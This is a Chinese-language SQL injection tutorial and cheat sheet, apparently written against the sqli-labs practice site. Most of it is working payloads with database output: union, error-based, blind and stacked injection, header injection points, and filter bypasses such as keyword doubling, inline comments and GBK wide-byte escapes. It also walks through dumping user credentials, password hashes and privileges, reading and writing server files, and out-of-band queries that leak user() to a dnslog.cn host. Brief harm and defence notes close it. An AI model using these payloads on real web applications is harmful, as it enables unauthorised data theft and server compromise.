什么是 sql 注入?#
SQL 注入即是指web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 web 应用程序中事先定义好的查询语句的结尾上添加额外的SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
原理#
SQL 注入攻击是通过操作输入来修改 SQL 语句,用以达到执行代码对WEB 服务器进行攻击的方法。简单的说就是在 post/getweb 表单、输入域名或页面请求的查询字符串中插入 SQL 命令,最终使 web 服务器执行恶意命令的过程。
参数类型#
下面例子,假设我们输入的值被赋予到id
参数,不同的参数类型,需要用不同的后缀闭合参数
1、数字型#
select * from users where id=1;
2、字符型#
select * from users where id="1";
select * from users where id='1';
3、扭曲型#
select * from users where id=('1');
select * from users where id=(('1'));
select * from users where id=("1");
select * from users where id=(("1"));
4、搜索型#
mysql> select * from users where id like '%1%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+----------+
5 rows in set (0.00 sec)
5、insert into 型#
这是我自己分的,对错自辩
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('参数位置', '$IP', $uname);
闭合
' or '
利用只能报错型,例如
' or updatexml(1,concat(0x7e,database()),1) or '
update 型也一样
6、order by 型#
$sql="SELECT * FROM users ORDER BY $id";
利用只能报错型,例如
updatexml(1,concat(0x7e,user()),1)
攻击类型#
带内 (In-Band) SQL 注入#
1、基于联合查询的 (Union-based) SQL 注入#
联合查询查到想要的信息。
select * from users where id="1" union select 1,2,3 %23;
union select 后面要跟前面 select 的字段数对应,否则报错。
查看字段数方法#
order by
select * from users where id="1" order by 字段数;
在报错与成功执行之间,成功执行的数就是字段数
mysql> select * from users where id="1" order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from users where id="1" order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
group by
同上
select * from users where id="1" group by 字段数;
mysql> select * from users where id="1" group by 4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'
mysql> select * from users where id="1" group by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
2、基于报错的 (Error-based) SQL 注入#
利用页面返回的报错信息,得到想要的信息。
gtid_subset 报错#
经过测试 mysql-5.7.26 版本可用,5.5.29 版本不可用
mysql> select * from users where id="1" and gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
floor 报错#
mysql> select * from users where id="1" union select 1,2,count(*) from information_schema.tables group by concat(floor(rand(0)*2) ,0x7e,user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key '<group_key>'
updatexml 报错#
mysql> select * from users where id="" or updatexml(1,concat(0x7e,database()),1);
ERROR 1105 (HY000): XPATH syntax error: '~security'
extractvalue 报错#
mysql> select * from users where id="" or extractvalue(1,concat(0x7e,database()));
ERROR 1105 (HY000): XPATH syntax error: '~security'
exp 报错#
MySQL 5.5.49 后的版本已经不再生效
exp(~(SELECT * from(select user())a))
geometric 报错#
mysql> select ST_LatFromGeoHash((select * from(select * from(select user())a)b));
ERROR 1411 (HY000): Incorrect geohash value: 'root@localhost' for function ST_LATFROMGEOHASH
3、盲注#
参数后面跟逻辑运算符和条件判断逐个逐个字母判断自己想要的信息
3.1 基于布尔的 (Boolean-based) SQL 注入#
根据页面返回的大小,判断条件正确与否
mysql> select * from users where id="1" and length(database())=8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id="1" and length(database())=9 ;
Empty set (0.00 sec)
上面就能猜出当前数据库
名字长度为 8
3.2 基于时间的 (Time-based) SQL 注入#
根据页面响应时间,判断条件正确与否
http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=8,sleep(4),1) %23
http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=7,sleep(4),1) %23
从上面加载时间判断当前数据库
名字长度为 8
函数解释
if(条件判断,为真则执行,为假则执行)
4、堆叠注入#
多个 sql 语句一起执行,分号
;
后面可以执行 sql 语句
原因:源码使用了mysqli_multi_query()
来接受参数。
5、二次注入#
一般用于注册账号处,影响可以更改其他人的密码
1. 假设有一个用户test
密码 asd
2. 黑客可以创建一个用户test'#
密码 123
3. 黑客登录test'#
用户 ,修改密码为 admin
4.(数据库执行了 UPDATE users SET PASSWORD='admin' where username='test'#' and password='123' 这个 sql 语句)
6. 所以本来是修改test'#
用户的密码,变成了修改test
的密码
带外 (Out-of-Band) SQL 注入#
将各种数据直接从数据库服务器发送到由攻击者所控制的计算机或第三方平台上

OOB 攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。
SQL 注入利用 DNS 获取查询结果(OOB)
利用条件
需要 windows 环境
1、DBMS 中需要有可用的,能直接或间接引发 DNS 解析过程的子程序,即使用到 UNC
2、Linux 没有 UNC 路径,所以当处于 Linux 环境,不能使用该方式获取数据
注入点#
1、url#
http://192.168.31.121/sqli-labs/Less-1/?id=1
2、User-agent#
User-Agent: ' or updatexml(1,concat(0x7e,database()),1) or '
主要源码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error()); //没有这行,报错信息没法显示

3、cookie#
Cookie: uname=' or gtid_subset(user(),1)%23
主要源码
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
die('Issue with your mysql: ' . mysql_error());

4、Referer#
Referer: ' or gtid_subset(user(),1) or '
主要源码
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
print_r(mysql_error());

5、请求体#
与 url 测试相同
检测 sql 注入方法#
可以根据上面注入点
来进行检测
- 参数进行 + 1,-1,看页面有无变化,有则说明数据可能从数据库拿出来的,有几率 sql 注入。
- 输入
'
看页面变化,有变化则有 sql 注入。
绕过方法#
1、#、-- 置空#
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
绕过
' or gtid_subset(user(),1) or '
' union select 1,user(),3 or '
' union select 1,user(),3 '
2、and、or 置空#
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);
绕过
' oorr gtid_subset(user(),1)%23
' aandnd gtid_subset(user(),1)%23
' %26%26 gtid_subset(user(),1)%23
' %7c%7c gtid_subset(user(),1)%23
%26 - &
&& 也可以当作 and
%7c - |
|| 也可以当作 or
验证
mysql> select * from users where id='' && gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
mysql> select * from users where id='' || gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
3、#、--、and、or、/* 、\s、\ 置空#
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
\s是指空白,包括空格、换行、tab缩进等所有的空白
绕过
'||gtid_subset(user(),1)||'
'%26%26gtid_subset(database(),1)%26%26'
验证
mysql> select * from users where id=''||gtid_subset(user(),1)||'';
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
4、union、select 置空#
$id= preg_replace('/union\s+select/i',"", $id);
绕过
union/*!66666A*/%23%0aselect
/*!44444union*/select
uunion%0aselectnion%0aselect (双写绕过)
mysql> select * from users where id='' /*!44444union*/select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
- 置空上面所有,怎么绕过?
5、转义 '、"#
$uname = addslashes($uname1);
或
$string= mysql_real_escape_string($string);
或
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);
以下符号addslashes()
函数会添加反斜杠
- 单引号 (
'
) - 双引号 (
"
) - 反斜杠 (
\
) - NUL(NUL 字节)
mysql_real_escape_string
— 转义字符串中的特殊字符以用于 SQL 语句
在 PHP 5.5.0 中已弃用,并在 PHP 7.0.0 中被删除
绕过
-1%df' union select 1,2,3--+
前提
mysql 需要使用 gbk 编码,否则无法利用成功
mysql_query("SET NAMES gbk");
6、二次编码#
- 用户输入
id=1%27
, 会被 php 转码为id=1'
- 转义代码发现有单引号,转义为
id=1\'
, 无法 sql 注入 - 用户输入
id=1%2527
, 由于 %25 转码后就是 %, 因而会转码为id=1%27
- 转义代码没有发现单引号,故不转义
- 但后续 urldecode 等函数,处理 url 时,会将
id=1%27
转码为id=1'
, 就可以注入
源码先进行 urldecode () 再进行转义才能利用成功
利用方法#
以联合查询类型为例#
1. 查看所有数据库#
mysql> select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;
+----+----------+---------------------------------------------------------------------------------------+
| id | username | password |
+----+----------+---------------------------------------------------------------------------------------+
| 1 | 2 | information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa |
+----+----------+---------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
2. 查看 security 库的所有表#
mysql> select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
+----+----------+-------------------------------+
| id | username | password |
+----+----------+-------------------------------+
| 1 | 2 | emails,referers,uagents,users |
+----+----------+-------------------------------+
1 row in set (0.00 sec)
3. 查看 security 库下 users 表的所有字段#
mysql> select * from users where id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
+----+----------+----------------------+
| id | username | password |
+----+----------+----------------------+
| 1 | 2 | id,username,password |
+----+----------+----------------------+
1 row in set (0.05 sec)
4. 查看 users 表下 username 和 password 的所有记录#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(username,':',password)) from security.users;
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4 |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
5. 查看数据库路径#
mysql> select * from users where id='-1' union select 1,2,@@datadir;
+----+----------+----------------------------------------------+
| id | username | password |
+----+----------+----------------------------------------------+
| 1 | 2 | E:\phpstudy_pro\Extensions\MySQL5.7.26\data\ |
+----+----------+----------------------------------------------+
1 row in set (0.05 sec)
6. 数据库版本#
mysql> select * from users where id='-1' union select 1,2,@@version;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 5.7.26 |
+----+----------+----------+
1 row in set (0.00 sec)
7. 系统参数#
可以参照最下面常用系统函数
8. 查看数据库所有用户#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'@',host)) from mysql.user;
+----+----------+------------------------------------------------------------+
| id | username | password |
+----+----------+------------------------------------------------------------+
| 1 | 2 | mysql.session@localhost,mysql.sys@localhost,root@localhost |
+----+----------+------------------------------------------------------------+
1 row in set (0.00 sec)
9. 查看数据库用户的密码#
可能数据库版本不一样,查询的 sql 语句会不一样,这里要注意一下
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'-',authentication_string)) FROM mysql.user;
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | root-*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,mysql.session-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE,mysql.sys-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
10. 查看用户所有权限#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(grantee,'-',privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES;
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | 'root'@'localhost'-SELECT,'root'@'localhost'-INSERT,'root'@'localhost'-UPDATE,'root'@'localhost'-DELETE,'root'@'localhost'-CREATE,'root'@'localhost'-DROP,'root'@'localhost'-RELOAD,'root'@'localhost'-SHUTDOWN,'root'@'localhost'-PROCESS,'root'@'localhost'-FILE,'root'@'localhost'-REFERENCES,'root'@'localhost'-INDEX,'root'@'localhost'-ALTER,'r |
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)
11. 查看当前用户是否有文件读取写入权限#
mysql> select * from users where id='-1' union select 1,2,file_priv FROM mysql.user WHERE user='root';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Y |
+----+----------+----------+
1 row in set (0.00 sec)
12. 查看 Mysql 是否允许文件读取写入#
NULL
表示不能写入、为空才表示可以写入
mysql> select * from users where id='-1' union select 1,2,@@secure_file_priv;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | NULL |
+----+----------+----------+
1 row in set (0.00 sec)
13. 读取本地文件内容#
mysql> select * from users where id='-1' union select 1,2,load_file('e:/1.txt');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | aaaaaa |
+----+----------+----------+
1 row in set (0.00 sec)
14. 写入文件(写一句话)#
mysql> select * from users where id='-1' union select 1,2,user() into outfile 'e:/demo.txt';
Query OK, 1 row affected (0.00 sec)
into dumpfile
也可以写入文件

基于报错注入#
配合concat()
函数把报错信息显示出来。
gtid_subset 报错
mysql> select * from users where id="1" and gtid_subset(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1);
ERROR 1772 (HY000): Malformed GTID set specification '~information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa'.
其他报错都一样利用,模板可以看一下上面攻击类型
,改一下利用 payload 即可。
盲注#
需要自己写脚本,不然一个一个试速度太慢
堆叠查询#
sql 的增删改查功能都能实现
带外注入#
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' union select 1,load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
危害#
成功的 SQL 注入攻击可能导致未经授权访问敏感数据,例如密码、信用卡详细信息或个人用户信息。近年来,许多备受瞩目的数据泄露事件都是 SQL 注入攻击的结果,导致声誉受损和监管罚款。在某些情况下,攻击者可以获得进入组织系统的持久性后门,从而导致可能在很长一段时间内不被注意的长期危害。
防御#
- 参数化查询和对象关系映射开发应用程序 (输入的参数只会被当做字符串字面值参数)
- 过滤关键词和各种特殊字符
- 转义字符
- 通过对数据库强制执行最小权限原则,来减缓 SQL 注入漏洞的影响
- 对访问数据库的 Web 应用程序采用 Web 应用防火墙
常用系统函数及参数#
基础信息函数 | 功能 |
---|---|
system_user() | 系统用户名 |
user() | 用户名 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
database() | 数据库名 |
version() | 数据库版本 |
@@datadir | 数据库路径 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 操作系统 |
@@slow_query_log | 慢日志查询 |
@@versoin_compile_os | 操作系统版本 |
常用其他函数#
三个重点字符串函数介绍参考:https://www.cnblogs.com/lcamry/p/5715634.html
字符处理函数 | 功能 | 举例 |
---|---|---|
重点 concat() | 没有分隔符地连接字符串 | select concat(c1,c2) from xxx |
重点 concat_ws() | 指定分隔符地连接字符串 | select concat_ws(':',c1,c2) from xxx |
重点 group_concat() | 以逗号分隔某列 / 组的数据 | select group_concat(c1,c2) from xxx |
load_file() | 读取服务器文件 | select loadfile('/tmp/a.txt') |
into outfile | 写入文件到服务器 | select 'xxxx' into outfile '/tmp/a.txt' |
ascii() | 字符串的 ASCII 代码值 | select ascii('a') |
ord() | 返回字符串第一个字符的 ASCII 值 | select ord('abc') |
char() | 返回 ASCII 值对应的字符串 | select char(97) |
mid() | 返回一个字符串的一部分 | select mid('abcde',1,1) |
substr() | 返回一个字符串的一部分 | select substr('abcde',1,1) |
length() | 返回字符串的长度 | select length('abc') |
left() | 返回字符串最左面几个字符 | select left('mysql',2) |
floor() | 返回小于或等于 X 的最大整数 | select floor(5.1) |
rand() | 返回 0-1 间的一个随机数 | select rand() |
if() | 三目运算 | select if(1>2,'A','B') |
strcmp() | 比较字符串 ASCII 大小 | select strcmp('c','b') |
ifnull() | 参数 1 为不 null 则返回参数 1, 否则参数 2 | select ifnull(null,2) |
count() | 返回执行结果数量 | |
sleep() | 不用解释 |